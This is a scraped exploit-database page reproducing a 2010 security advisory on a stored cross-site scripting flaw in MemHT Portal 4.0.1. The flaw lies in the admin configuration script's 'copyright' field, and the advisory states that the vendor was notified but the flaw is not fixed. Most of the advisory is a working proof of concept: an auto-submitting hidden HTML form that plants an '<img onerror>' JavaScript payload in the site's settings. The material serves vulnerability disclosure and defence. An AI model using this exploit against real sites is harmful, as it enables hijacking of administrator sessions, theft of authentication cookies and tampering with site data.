Home / os / win7

[webapps / 0day] - MemHT Portal 4.0.1 Stored Cross Site Scri

Posted on 02 November 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MemHT Portal 4.0.1 Stored Cross Site Scripting Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MemHT Portal 4.0.1 Stored Cross Site Scripting Vulnerability by High-Tech Bridge . in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================================ MemHT Portal 4.0.1 Stored Cross Site Scripting Vulnerability ============================================================ Product: MemHT Portal Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) Vulnerable Version: 4.0.1 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the &quot;admin/pages/configuration/index.php&quot; script to properly sanitize user-supplied input in &quot;copyright&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/admin.php?page=configuration&amp;op=siteConfig&amp;ok=true&quot; method=&quot;post&quot; name=&quot;main&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;nome_sito&quot; value=&quot;sitename&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;site_url&quot; value=&quot;http://host&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;webmaster_mail&quot; value=&quot;email@host.com&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;site_open&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;offlinemsg&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;defpage&quot; value=&quot;news&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;timestamp&quot; value=&quot;%d/%m/%Y %H:%i&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;timezone&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;admin_ghosts&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;infobar&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;graphic_check&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;textarea_editor&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;modrewrite&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;footmsg&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;copyright&quot; value=&quot;copyright&lt;img src=x onerror=alert(12345)&gt;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;descrizione&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;metatags&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;user_max_lunghezza&quot; value=&quot;20&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;pass_max_lunghezza&quot; value=&quot;20&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;user_confirm_email&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;approve_users&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;num_news_home&quot; value=&quot;5&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;num_news_page&quot; value=&quot;20&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;guest_msgbox&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;forumattachment&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;forumattachmentfolder&quot; value=&quot;attachment&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;virtualpages&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;usecomments&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;guest_com&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;Submit&quot; value=&quot;Save&quot;&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>

 

TOP